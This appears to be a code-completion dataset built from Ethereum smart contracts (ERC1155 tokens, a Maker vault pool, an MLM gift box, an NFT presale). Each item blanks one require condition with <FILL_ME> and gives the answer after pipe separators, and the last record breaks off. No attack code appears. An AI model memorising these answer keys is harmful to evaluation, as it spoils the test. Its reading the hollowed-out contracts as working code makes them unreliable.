pragma solidity ^0.6.8;
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './ERC1155.sol';
import '../utils/Strings.sol';
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is Context, AccessControl, Ownable, ERC1155 {
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
using Strings for string;
string internal baseMetadataURI;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public ERC1155('') {
}
modifier onlyAdminOrOwner() {
require(<FILL_ME>)
_;
}
modifier onlyMinter() {
}
function uri(uint256 _id) public view override returns (string memory) {
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyAdminOrOwner {
}
/**
* @dev Creates a new token type and assigns _initial to a sender
* @param _max max supply allowed
* @param _initial Optional amount to supply the first owner
* @param _data Optional data to pass if receiver is contract
* @return tokenId The newly created token ID
*/
function create(
uint256 _max,
uint256 _initial,
bytes memory _data
) external onlyAdminOrOwner returns (uint256 tokenId) {
}
/**
* @dev Creates some amount of tokens type and assigns initials to a sender
* @param _maxs max supply allowed
* @param _initials Optional amount to supply the first owner
*/
function createBatch(
uint256[] memory _maxs,
uint256[] memory _initials,
bytes memory _data
) external onlyAdminOrOwner {
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
}
/**
* @dev Mint tokens for each id in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _quantities Array of amounts of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _quantities,
bytes memory _data
) public onlyMinter {
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
}
}
| hasRole(DEFAULT_ADMIN_ROLE,_msgSender())||(owner()==_msgSender()),'ERC1155Tradable: must have admin or owner role' | 29,206 | hasRole(DEFAULT_ADMIN_ROLE,_msgSender())||(owner()==_msgSender()) |
'ERC1155Tradable: Max supply reached' | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './ERC1155.sol';
import '../utils/Strings.sol';
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is Context, AccessControl, Ownable, ERC1155 {
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
using Strings for string;
string internal baseMetadataURI;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public ERC1155('') {
}
modifier onlyAdminOrOwner() {
}
modifier onlyMinter() {
}
function uri(uint256 _id) public view override returns (string memory) {
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyAdminOrOwner {
}
/**
* @dev Creates a new token type and assigns _initial to a sender
* @param _max max supply allowed
* @param _initial Optional amount to supply the first owner
* @param _data Optional data to pass if receiver is contract
* @return tokenId The newly created token ID
*/
function create(
uint256 _max,
uint256 _initial,
bytes memory _data
) external onlyAdminOrOwner returns (uint256 tokenId) {
}
/**
* @dev Creates some amount of tokens type and assigns initials to a sender
* @param _maxs max supply allowed
* @param _initials Optional amount to supply the first owner
*/
function createBatch(
uint256[] memory _maxs,
uint256[] memory _initials,
bytes memory _data
) external onlyAdminOrOwner {
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
//TODO Need to test lte condition
require(<FILL_ME>)
tokenSupply[_id] = tokenSupply[_id].add(_quantity);
_mint(_to, _id, _quantity, _data);
}
/**
* @dev Mint tokens for each id in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _quantities Array of amounts of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _quantities,
bytes memory _data
) public onlyMinter {
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
}
}
| tokenSupply[_id].add(_quantity)<=tokenMaxSupply[_id],'ERC1155Tradable: Max supply reached' | 29,206 | tokenSupply[_id].add(_quantity)<=tokenMaxSupply[_id] |
'ERC1155Tradable: Max supply reached' | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './ERC1155.sol';
import '../utils/Strings.sol';
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is Context, AccessControl, Ownable, ERC1155 {
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
using Strings for string;
string internal baseMetadataURI;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public ERC1155('') {
}
modifier onlyAdminOrOwner() {
}
modifier onlyMinter() {
}
function uri(uint256 _id) public view override returns (string memory) {
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyAdminOrOwner {
}
/**
* @dev Creates a new token type and assigns _initial to a sender
* @param _max max supply allowed
* @param _initial Optional amount to supply the first owner
* @param _data Optional data to pass if receiver is contract
* @return tokenId The newly created token ID
*/
function create(
uint256 _max,
uint256 _initial,
bytes memory _data
) external onlyAdminOrOwner returns (uint256 tokenId) {
}
/**
* @dev Creates some amount of tokens type and assigns initials to a sender
* @param _maxs max supply allowed
* @param _initials Optional amount to supply the first owner
*/
function createBatch(
uint256[] memory _maxs,
uint256[] memory _initials,
bytes memory _data
) external onlyAdminOrOwner {
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
}
/**
* @dev Mint tokens for each id in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _quantities Array of amounts of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _quantities,
bytes memory _data
) public onlyMinter {
require(_to != address(0), 'ERC1155Tradable: mint to the zero address');
require(_ids.length == _quantities.length, 'ERC1155Tradable: ids and amounts length mismatch');
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
uint256 quantity = _quantities[i];
//TODO Need to test lte condition
require(<FILL_ME>)
tokenSupply[id] = tokenSupply[id].add(quantity);
}
_mintBatch(_to, _ids, _quantities, _data);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
}
}
| tokenSupply[id].add(quantity)<=tokenMaxSupply[id],'ERC1155Tradable: Max supply reached' | 29,206 | tokenSupply[id].add(quantity)<=tokenMaxSupply[id] |
"Debt should be 0" | pragma solidity ^0.6.6;
interface ManagerInterface {
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function cdpAllow(
uint256,
address,
uint256
) external;
}
interface VatInterface {
function hope(address) external;
}
abstract contract VTokenBase is PoolShareToken, Ownable {
uint256 public vaultNum;
bytes32 public collateralType;
uint256 internal constant WAT = 10**16;
address internal wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bool internal lockEth = true;
Controller public controller;
constructor(
string memory name,
string memory symbol,
bytes32 _collateralType,
address _token,
address _controller
) public PoolShareToken(name, symbol, _token) {
}
function approveToken() public virtual {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function shutdown() public onlyOwner {
}
function open() public onlyOwner {
}
function registerCollateralManager(address _cm) public {
}
function withdrawAll() public onlyOwner {
StrategyManager sm = StrategyManager(controller.poolStrategy(address(this)));
ICollateralManager cm = ICollateralManager(controller.poolCollateralManager(address(this)));
sm.rebalanceEarned(vaultNum);
uint256 earnBalance = sm.balanceOf(address(this));
sm.paybackDebt(vaultNum, earnBalance);
require(<FILL_ME>)
cm.withdrawCollateral(vaultNum, tokenLocked());
}
function rebalance() public {
}
function rebalanceCollateral() public {
}
function rebalanceEarned() public {
}
/**
* @dev If pool is underwater this function will get is back to water surface.
*/
//TODO: what if Maker doesn't allow required collateral withdrawl?
function resurface() public {
}
function tokenLocked() public view returns (uint256) {
}
function poolDebt() public view returns (uint256) {
}
function isUnderwater() public view returns (bool) {
}
function tokensHere() public override view returns (uint256) {
}
function totalValue() public override view returns (uint256) {
}
function _getFee() internal override view returns (uint256) {
}
function _getFeeCollector() internal override view returns (address) {
}
function _depositCollateral(ICollateralManager cm) internal {
}
function _withdrawCollateral(uint256 amount) internal {
}
function createVault(bytes32 _collateralType) internal returns (uint256 vaultId) {
}
function _sweepErc20(address from) internal {
}
}
| poolDebt()==0,"Debt should be 0" | 29,374 | poolDebt()==0 |
"Not an owner" | pragma solidity ^0.6.6;
interface ManagerInterface {
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function cdpAllow(
uint256,
address,
uint256
) external;
}
interface VatInterface {
function hope(address) external;
}
abstract contract VTokenBase is PoolShareToken, Ownable {
uint256 public vaultNum;
bytes32 public collateralType;
uint256 internal constant WAT = 10**16;
address internal wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bool internal lockEth = true;
Controller public controller;
constructor(
string memory name,
string memory symbol,
bytes32 _collateralType,
address _token,
address _controller
) public PoolShareToken(name, symbol, _token) {
}
function approveToken() public virtual {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function shutdown() public onlyOwner {
}
function open() public onlyOwner {
}
function registerCollateralManager(address _cm) public {
}
function withdrawAll() public onlyOwner {
}
function rebalance() public {
require(<FILL_ME>)
StrategyManager sm = StrategyManager(controller.poolStrategy(address(this)));
ICollateralManager cm = ICollateralManager(controller.poolCollateralManager(address(this)));
sm.rebalanceEarned(vaultNum);
_depositCollateral(cm);
sm.rebalanceCollateral(vaultNum);
}
function rebalanceCollateral() public {
}
function rebalanceEarned() public {
}
/**
* @dev If pool is underwater this function will get is back to water surface.
*/
//TODO: what if Maker doesn't allow required collateral withdrawl?
function resurface() public {
}
function tokenLocked() public view returns (uint256) {
}
function poolDebt() public view returns (uint256) {
}
function isUnderwater() public view returns (bool) {
}
function tokensHere() public override view returns (uint256) {
}
function totalValue() public override view returns (uint256) {
}
function _getFee() internal override view returns (uint256) {
}
function _getFeeCollector() internal override view returns (address) {
}
function _depositCollateral(ICollateralManager cm) internal {
}
function _withdrawCollateral(uint256 amount) internal {
}
function createVault(bytes32 _collateralType) internal returns (uint256 vaultId) {
}
function _sweepErc20(address from) internal {
}
}
| !stopEverything||(_msgSender()==owner()),"Not an owner" | 29,374 | !stopEverything||(_msgSender()==owner()) |
"Pool is underwater" | pragma solidity ^0.6.6;
interface ManagerInterface {
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function cdpAllow(
uint256,
address,
uint256
) external;
}
interface VatInterface {
function hope(address) external;
}
abstract contract VTokenBase is PoolShareToken, Ownable {
uint256 public vaultNum;
bytes32 public collateralType;
uint256 internal constant WAT = 10**16;
address internal wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bool internal lockEth = true;
Controller public controller;
constructor(
string memory name,
string memory symbol,
bytes32 _collateralType,
address _token,
address _controller
) public PoolShareToken(name, symbol, _token) {
}
function approveToken() public virtual {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function shutdown() public onlyOwner {
}
function open() public onlyOwner {
}
function registerCollateralManager(address _cm) public {
}
function withdrawAll() public onlyOwner {
}
function rebalance() public {
}
function rebalanceCollateral() public {
}
function rebalanceEarned() public {
}
/**
* @dev If pool is underwater this function will get is back to water surface.
*/
//TODO: what if Maker doesn't allow required collateral withdrawl?
function resurface() public {
}
function tokenLocked() public view returns (uint256) {
}
function poolDebt() public view returns (uint256) {
}
function isUnderwater() public view returns (bool) {
}
function tokensHere() public override view returns (uint256) {
}
function totalValue() public override view returns (uint256) {
}
function _getFee() internal override view returns (uint256) {
}
function _getFeeCollector() internal override view returns (address) {
}
function _depositCollateral(ICollateralManager cm) internal {
}
function _withdrawCollateral(uint256 amount) internal {
ICollateralManager cm = ICollateralManager(controller.poolCollateralManager(address(this)));
StrategyManager sm = StrategyManager(controller.poolStrategy(address(this)));
require(<FILL_ME>)
uint256 balanceHere = tokensHere();
if (balanceHere < amount) {
uint256 amountNeeded = amount.sub(balanceHere);
(
uint256 collateralLocked,
uint256 debt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
) = cm.whatWouldWithdrawDo(vaultNum, amountNeeded);
if (debt > 0) {
if (collateralRatio < controller.lowWater(address(this))) {
// If this withdraw results in Low Water scenario.
uint256 maxDebt = (collateralLocked.mul(collateralUsdRate)).div(
controller.highWater(address(this))
);
if (maxDebt < minimumDebt) {
// This is Dusting scenario
sm.paybackDebt(vaultNum, debt);
} else if (maxDebt < debt) {
sm.paybackDebt(vaultNum, debt.sub(maxDebt));
}
}
}
cm.withdrawCollateral(vaultNum, amountNeeded);
}
}
function createVault(bytes32 _collateralType) internal returns (uint256 vaultId) {
}
function _sweepErc20(address from) internal {
}
}
| !sm.isUnderwater(vaultNum),"Pool is underwater" | 29,374 | !sm.isUnderwater(vaultNum) |
null | pragma solidity ^0.6.6;
contract Owned {
modifier onlyOwner() {
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract MonetaGiftBox is Owned {
uint8[7] public mlm;
uint256 public pack;
mapping (address=>address payable) users;
event Gift(address indexed _from, uint256 _value);
constructor() public{
}
function setBonus(uint8 _level, uint8 _bonus) public onlyOwner returns (bool success){
}
function setPack(uint256 _pack) public onlyOwner returns (bool success){
}
function setSponsor(address _partner, address payable _sponsor) public onlyOwner returns (bool success){
require(<FILL_ME>)
users[_partner] = _sponsor;
return true;
}
function sponsor(address partner) public view returns (address){
}
function gift(address payable ref) payable public returns (bool success){
}
receive () payable external {
}
}
| users[_partner]!=address(0)&&_partner!=_sponsor | 29,381 | users[_partner]!=address(0)&&_partner!=_sponsor |
"Presale paused" | /*
:::::::::::::::::::::::::......................................:::::::::::::::::::::::::::
::::::::::::::::::::::............................................::::::::::::::::::::::::
:::::::::::::::::::..................................................:::::::::::::::::::::
:::::::::::::::::.......::-=-::-............:::::::..........:.........:::::::::::::::::::
:::::::::::::::........:*#%%%@%@%+-:::-=+#*##*#%%##%%##*+==+%%#%#**-:....:::::::::::::::::
:::::::::::::.........:+#*#####%@@@@@%@%%@@@@@@@@%@@%@@@@@@%%@@@@@*#+.....::::::::::::::::
::::::::::::..........:+#**++*#%**%@@%@@@@%%@%@@@@@@@@@@@@@@@@@@@%**#:......::::::::::::::
:::::::::::............-%*+++*###%@@@@@@%@@@@@@%@@@@@@@@@@@@@@@@@%*#-........:::::::::::::
::::::::::.............:+#+*++*@@%%@@@@%##**#%@@@@@@@%@@@@@@@@%%%@=...........::::::::::::
::::::::::...............+##*%@@@%@@@%**#@@%#**#%@@@@%@@@@@%##%%%%%:...........:::::::::::
:::::::::................:#*@@@@@@@@@*+*****#%#**%@@@@@@@%*#%#****%%............::::::::::
:::::::::................%*%@@@@@@@@%*+#+.AA..-***@@@@@@@**#=.A.-*#@+...........::::::::::
:::::::::-====-.........*###%@@@%@@@@@#*#=:: .-*+%@%**%#*%-=:==*#@@%=...........:::::::::
:::::::=####%@@@%#++:..:@%#%#%%@@%@@@@@%#**++****+#@*+**%**#####%@@@##...........:::::::::
:::::=%@@%%@@@@@@@@##=.+%*#*#@@@@@@@@@@@@@@%%%%%##@#++++*#%%@@%@@@@@%#...........:::::::::
:::+%@@@@@@@@@@#-+@%#*=:::@%*#%@%@@@@@%@@@@@@@@@@@@**+++++*#@@@@@@@##+...........:::::::::
:-%@@@@@@@@@@@@++%%*#*+*-.@%%##**@@@@@@@@@@@@@@@@%*****#####**@@@@@**+...........:::::::::
:%#*#%%%@@@@@@@@@%%*****#=+***##+*%#@@@@@@@@@@%%%**###*+++*%%%%@%#%***...........:::::::::
:##***#@@@@%#*%@%**#***#%*..=#*###@*#@@@@@@%#*+*%%%@@@%*+*%%#*+@#+*+.............:::::::::
::+#***%@%#-.+%###***###%*...#%@@**##%*%@@@*++++++++**#%%#**+++**-..............::::::::::
::::=+***=:..-####**###@@@=..:**@@@%%%%%#@%**%@#::+-----.-++***=................::::::::::
:::::::::::...:*#*#@@%@@@@*.-=*%@@@%@@@@@##*+*@*:=--+*****+-%+.................:::::::::::
::::::::::::....-%@@@@@@@@%*--*#@@@@#**%@@@%%##%#**++*****+#%..................:::::::::::
:::::::::::::...-%@@@@@@@@%+. .-*%#+++#@#****+++++++*++++#@::::.............::::::::::::
::::::::::::::..:+@@@@@@@@%*=.. .::.:-=**%@**++*+++++++++*%%%::.-=...........:::::::::::::
:::::::::::::::...%@@@@@@%*+=-:::--. .:=#@%%%**++++++*#%@@+ .:-=-..........:::::::::::::
::::::::::::::::.=@@@%*=:..---=--:.. .::. .=*%%@%###@%%@#=..:::::=-.......:::::::::::::::
::::::::::::::::-*#+-:. .......:::::--:-:. .-+******+:: .:..::-::--:...::::::::::::::::
::::::::::::::::-:....::. ..: .==-.-. .-+**-:=-:-::=-.. .:-::::::::::::::::::
:::::::::::::::=:... :-:.. :--. .::.:+....:==:::+.. .. .--::::::::::::::::
::::::::::::::=:.... .:. ... =-.. .+. .::..:..=:::::::::::::::
::::::::::::::=..--:. .--. .--. :+--. .-*:. .::.. .:-::::::::::::::
:::::::::::::+...... .... .. . =.. .. .* .. .=::::::::::::::
:::::::::::::::::::::::╔══╦╗───╔══╗─────────╔╗────────────╔╦═╗╔═╗───╔╗::::::::::::::::::::
:::::::::::::::::::::::╚╗╔╣╚╦═╗║╔╗╠═╦╦╦╦═╦═╗║║╔═╦═╦═╦═╗╔╦╦╝║═╣║╔╬╗╔╦╣╚╗:::::::::::::::::::
:::::::::::::::::::::::─║║║║║╩╣║╔╗║╬║║╠╣╩╣╩╣║╚╣╩╣╬║╬║╬╚╣╔╣╬╠═║║╚╣╚╣║║╬║:::::::::::::::::::
:::::::::::::::::::::::─╚╝╚╩╩═╝╚══╩═╩╦╝╠═╩═╝╚═╩═╩═╣╔╩══╩╝╚═╩═╝╚═╩═╩═╩═╝:::::::::::::::::::
:::::::::::::::::::::::──────────────╚═╝──────────╚╝────────────────────::::::::::::::::::
*/
// Written by @0xmend
pragma solidity ^0.8.0;
contract BoujeeLeopardsClub is ERC721A {
using Strings for uint256;
uint256 public maxSupply = 6590;
uint256 public presaleCost = 0.07 ether;
uint256 public cost = 0.11 ether;
uint256 public maxMints = 5;
address public constant teamWallet = 0x1a3b0f6eC01e1F943BfaB58E4a7efC5A064487Ca;
address public owner;
mapping(address => uint256) public whitelist;
mapping(address => uint256) minted;
bool public salePaused = true;
bool public preSalePaused = true;
string public contractMetadata;
string public baseTokenURI;
string erm = "Unauthorized";
constructor(string memory _contractMetadata, string memory _baseTokenURI) ERC721A("BoujeeLeopardsClub", "BLC") {
}
function _mint(address to, uint256 amount) internal {
}
function presaleMint(uint256 quantity) external payable {
uint256 mintCost = presaleCost;
uint256 supply = totalSupply();
require(<FILL_ME>)
require(whitelist[msg.sender] > 0, "Not in whitelist");
require(quantity <= maxMints - minted[msg.sender], "Exceeded max mints per wallet");
require(quantity <= maxMints, "Exceeded max mints");
require(quantity > 0, "Mint atleast 1");
require(supply + quantity <= maxSupply, "Sold out!");
require(msg.value >= mintCost * quantity, "Insufficient funds");
_mint(msg.sender, quantity);
}
function mint(uint256 quantity) external payable {
}
function airdrop(address to, uint256 quantity) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function setWhitelist(address[] calldata addresses) external{
}
function setCost(uint256 _newCost) external {
}
function setPresaleCost(uint256 _newCost) external {
}
function setBaseTokenUri(string memory _base) external {
}
function setcontractMeta(string memory _newMeta) external {
}
function pauseSale(bool _state) external {
}
function pausepreSale(bool _state) external {
}
function withdraw() external {
}
}
| !preSalePaused,"Presale paused" | 29,388 | !preSalePaused |
"Not in whitelist" | /*
:::::::::::::::::::::::::......................................:::::::::::::::::::::::::::
::::::::::::::::::::::............................................::::::::::::::::::::::::
:::::::::::::::::::..................................................:::::::::::::::::::::
:::::::::::::::::.......::-=-::-............:::::::..........:.........:::::::::::::::::::
:::::::::::::::........:*#%%%@%@%+-:::-=+#*##*#%%##%%##*+==+%%#%#**-:....:::::::::::::::::
:::::::::::::.........:+#*#####%@@@@@%@%%@@@@@@@@%@@%@@@@@@%%@@@@@*#+.....::::::::::::::::
::::::::::::..........:+#**++*#%**%@@%@@@@%%@%@@@@@@@@@@@@@@@@@@@%**#:......::::::::::::::
:::::::::::............-%*+++*###%@@@@@@%@@@@@@%@@@@@@@@@@@@@@@@@%*#-........:::::::::::::
::::::::::.............:+#+*++*@@%%@@@@%##**#%@@@@@@@%@@@@@@@@%%%@=...........::::::::::::
::::::::::...............+##*%@@@%@@@%**#@@%#**#%@@@@%@@@@@%##%%%%%:...........:::::::::::
:::::::::................:#*@@@@@@@@@*+*****#%#**%@@@@@@@%*#%#****%%............::::::::::
:::::::::................%*%@@@@@@@@%*+#+.AA..-***@@@@@@@**#=.A.-*#@+...........::::::::::
:::::::::-====-.........*###%@@@%@@@@@#*#=:: .-*+%@%**%#*%-=:==*#@@%=...........:::::::::
:::::::=####%@@@%#++:..:@%#%#%%@@%@@@@@%#**++****+#@*+**%**#####%@@@##...........:::::::::
:::::=%@@%%@@@@@@@@##=.+%*#*#@@@@@@@@@@@@@@%%%%%##@#++++*#%%@@%@@@@@%#...........:::::::::
:::+%@@@@@@@@@@#-+@%#*=:::@%*#%@%@@@@@%@@@@@@@@@@@@**+++++*#@@@@@@@##+...........:::::::::
:-%@@@@@@@@@@@@++%%*#*+*-.@%%##**@@@@@@@@@@@@@@@@%*****#####**@@@@@**+...........:::::::::
:%#*#%%%@@@@@@@@@%%*****#=+***##+*%#@@@@@@@@@@%%%**###*+++*%%%%@%#%***...........:::::::::
:##***#@@@@%#*%@%**#***#%*..=#*###@*#@@@@@@%#*+*%%%@@@%*+*%%#*+@#+*+.............:::::::::
::+#***%@%#-.+%###***###%*...#%@@**##%*%@@@*++++++++**#%%#**+++**-..............::::::::::
::::=+***=:..-####**###@@@=..:**@@@%%%%%#@%**%@#::+-----.-++***=................::::::::::
:::::::::::...:*#*#@@%@@@@*.-=*%@@@%@@@@@##*+*@*:=--+*****+-%+.................:::::::::::
::::::::::::....-%@@@@@@@@%*--*#@@@@#**%@@@%%##%#**++*****+#%..................:::::::::::
:::::::::::::...-%@@@@@@@@%+. .-*%#+++#@#****+++++++*++++#@::::.............::::::::::::
::::::::::::::..:+@@@@@@@@%*=.. .::.:-=**%@**++*+++++++++*%%%::.-=...........:::::::::::::
:::::::::::::::...%@@@@@@%*+=-:::--. .:=#@%%%**++++++*#%@@+ .:-=-..........:::::::::::::
::::::::::::::::.=@@@%*=:..---=--:.. .::. .=*%%@%###@%%@#=..:::::=-.......:::::::::::::::
::::::::::::::::-*#+-:. .......:::::--:-:. .-+******+:: .:..::-::--:...::::::::::::::::
::::::::::::::::-:....::. ..: .==-.-. .-+**-:=-:-::=-.. .:-::::::::::::::::::
:::::::::::::::=:... :-:.. :--. .::.:+....:==:::+.. .. .--::::::::::::::::
::::::::::::::=:.... .:. ... =-.. .+. .::..:..=:::::::::::::::
::::::::::::::=..--:. .--. .--. :+--. .-*:. .::.. .:-::::::::::::::
:::::::::::::+...... .... .. . =.. .. .* .. .=::::::::::::::
:::::::::::::::::::::::╔══╦╗───╔══╗─────────╔╗────────────╔╦═╗╔═╗───╔╗::::::::::::::::::::
:::::::::::::::::::::::╚╗╔╣╚╦═╗║╔╗╠═╦╦╦╦═╦═╗║║╔═╦═╦═╦═╗╔╦╦╝║═╣║╔╬╗╔╦╣╚╗:::::::::::::::::::
:::::::::::::::::::::::─║║║║║╩╣║╔╗║╬║║╠╣╩╣╩╣║╚╣╩╣╬║╬║╬╚╣╔╣╬╠═║║╚╣╚╣║║╬║:::::::::::::::::::
:::::::::::::::::::::::─╚╝╚╩╩═╝╚══╩═╩╦╝╠═╩═╝╚═╩═╩═╣╔╩══╩╝╚═╩═╝╚═╩═╩═╩═╝:::::::::::::::::::
:::::::::::::::::::::::──────────────╚═╝──────────╚╝────────────────────::::::::::::::::::
*/
// Written by @0xmend
pragma solidity ^0.8.0;
contract BoujeeLeopardsClub is ERC721A {
using Strings for uint256;
uint256 public maxSupply = 6590;
uint256 public presaleCost = 0.07 ether;
uint256 public cost = 0.11 ether;
uint256 public maxMints = 5;
address public constant teamWallet = 0x1a3b0f6eC01e1F943BfaB58E4a7efC5A064487Ca;
address public owner;
mapping(address => uint256) public whitelist;
